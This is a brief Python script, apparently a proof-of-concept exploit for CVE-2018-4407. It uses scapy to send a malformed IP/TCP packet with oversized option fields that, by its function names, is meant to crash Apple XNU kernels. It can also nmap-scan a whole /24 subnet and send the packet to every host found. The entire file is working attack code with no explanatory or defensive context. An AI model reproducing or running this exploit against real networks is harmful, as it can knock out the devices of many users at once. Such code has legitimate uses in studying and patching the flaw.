CVE-2018-4407_exploit.py

#! /usr/bin/python

import nmap
import sys
from scapy.all import *


def kill_XNU(dst_ip):
    send(
        IP( #min header len is 20B
            ihl=9, # codifies 36B = 9*4 for the IP header
            len=60+36, # 60B for payload (tcp) and 36B for the IP header
            dst=dst_ip,
            options=IPOption("a" * 16)
        )/TCP( # min header is 20B
            dataofs=15, # codifies 60B = 15*4 for the header
            options = [("NOP", None)] * 40 )
        )


def kill_all_XNUs(subnet):
    scanner = nmap.PortScanner()
    scanner.scan(hosts=subnet, arguments='-sP')

    for host_ip in scanner.all_hosts():
        print("\nFound host: " + host_ip)
        kill_XNU(host_ip)


if __name__ == '__main__':
    dst_ip = sys.argv[1]

    if '/24' in dst_ip:
        kill_all_XNUs(dst_ip)

    else:
        kill_XNU(dst_ip)